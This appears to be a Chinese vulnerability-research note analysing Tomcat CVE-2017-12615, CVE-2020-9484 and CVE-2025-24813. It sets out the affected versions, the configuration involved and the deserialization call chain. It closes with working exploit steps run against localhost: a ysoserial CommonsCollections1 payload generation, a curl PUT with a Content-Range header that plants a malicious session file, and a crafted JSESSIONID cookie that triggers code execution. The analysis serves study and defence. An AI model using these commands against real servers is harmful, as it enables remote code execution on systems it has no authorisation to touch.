1. 1. 环境与调试
  2. 2. Tomcat PUT RCE
  3. 3. Tomcat Session反序列化
  4. 4. Tomcat 文件上传 + session反序列化

环境与调试

(1) Tomcat各版本下载:https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/

(2) IDEA远程JVM调试:

1
2
3
4
首先在 /conf 目录下新建 setenv.sh文件
其次写入命令: export CATALINA_OPTS="$CATALINA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000" 监听8000端口
启动Tomcat - ./startup.sh run
添加远程JVM调试 - localhost:8000

Tomcat PUT RCE

CVE-2017-12615

参考:https://paper.seebug.org/399/

本质是利用构造特殊后缀名绕过JSPServlet的检测,执行DefaultServlet中的doPut逻辑,上传恶意jsp文件。

Tomcat Session反序列化

CVE-2020-9484

1
2
3
4
5
影响版本:
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103

首先在/conf/context.xml中开启会话管理器

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/Users/gehansheng/Desktop/Java代码审计/Tomcat历史漏洞分析/apache-tomcat-10.0.0-M4/sessionFile" />
</Manager>

PersistentManager 是 Tomcat 中的一种会话管理器,它允许 会话数据 在 Tomcat 重启或服务器停机时得以 持久化存储。默认情况下,Tomcat 的会话数据存储在内存中,但如果启用了 PersistentManager,会话数据会被写入到文件系统中,从而在 Tomcat 重启后保持会话状态。

className="org.apache.catalina.session.PersistentManager指定了使用PersistentManager来管理会话。

FileStorePersistentManager 用来将会话数据存储到磁盘上的类。它将会话对象序列化为文件,存储在指定的目录中,支持跨服务器重启保持会话状态。

directory="/Users/gehansheng/Desktop/Java代码审计/Tomcat历史漏洞分析/apache-tomcat-10.0.0-M4/sessionFile"为指定存储会话数据的目录文件。


既然FileStore会将会话数据序列化为文件,那么就会存在反序列化漏洞的风险,这个漏洞就是由此产生的。


使用CC链验证漏洞,先在/webapps/ROOT/WEB_INF/lib下添加commons-collections-3.2.1.jar包的依赖,然后使用ysoserial生成含有恶意序列化内容的payload.session文件

1
java -jar ysoserial-all.jar CommonsCollections1 "open -a Calculator" > /Users/gehansheng/Desktop/Java代码审计/Tomcat历史 漏洞分析/apache-tomcat-10.0.0-M4/sessionFile/poc.session

验证 - 命令执行

image-20250320133035177

反序列化.session序列化文件的函数为org.apache.catalina.session.FileStore#load

调用逻辑大致如下

1
2
3
4
org.apache.catalina.session.FileStore#load
org.apache.catalina.session.StandardSession#readObjectData
org.apache.catalina.session.StandardSession#doReadObject
java.io.ObjectInputStream#readObject()

总结来看,这个漏洞的利用条件很高

1
2
(1) 文件上传路径与文件内容攻击者可控
(2) directory具体路径攻击者已知

Tomcat 文件上传 + session反序列化

CVE-2025-24813

1
2
3
4
影响版本:
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

利用条件是 CVE-2017-12615CVE-2020-9484 的汇总

1
2
3
4
5
6
7
8
9
同时开启PUT和会话存储机制
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

漏洞流程大约如下

1
2
3
4
5
6
当 PUT /1.txt时 -> /webapps/ROOT/1.txt
当 PUT /xxxxxx/session -> /work/Catalina/localhost/ROOT/.xxxxxx.session

<Store className="org.apache.catalina.session.FileStore"/>未显示指定dectionary路径时,默认指向/work/Catalina/localhost/ROOT/目录

org.apache.catalina.session.FileStore#load (CVE-2020-9484)反序列化.xxxxxx.session文件->RCE

PUT /xxxxxx/session -> /work/Catalina/localhost/ROOT/.xxxxxx.session的逻辑发生在org.apache.catalina.servlets.DefaultServlet#executePartialPut

image-20250320154530586

走到if中的前提条件是range不为空,跟进org.apache.catalina.servlets.DefaultServlet#parseContentRange,发现其为Content-Range请求头

image-20250320154807128

构造请求头即可

image-20250320154744428

image-20250320154822178

那么只需要PUT恶意序列化字节码,就可以出发反序列化RCE了。

1
2
3
4
5
6
(1) 使用ysoserial生成CC1链到payload.txt
java -jar ysoserial-all.jar CommonsCollection1 "open -a Calculator" > /Users/gehansheng/Desktop/Java代码审计/Tomcat历史漏洞分析/Payload/payload.txt

(2) curl -X PUT http://127.0.0.1:9090/xxxxxx/session -H "Content-Range: bytes 0-1800/2000" --data-binary @"/Users/gehansheng/Desktop/Java代码审计/Tomcat历史漏洞分析/Payload/payload.txt"

(3) curl -X GET "http://127.0.0.1:9090/" -H "Cookie: JSESSIONID=.xxxxxx"

image-20250320160611054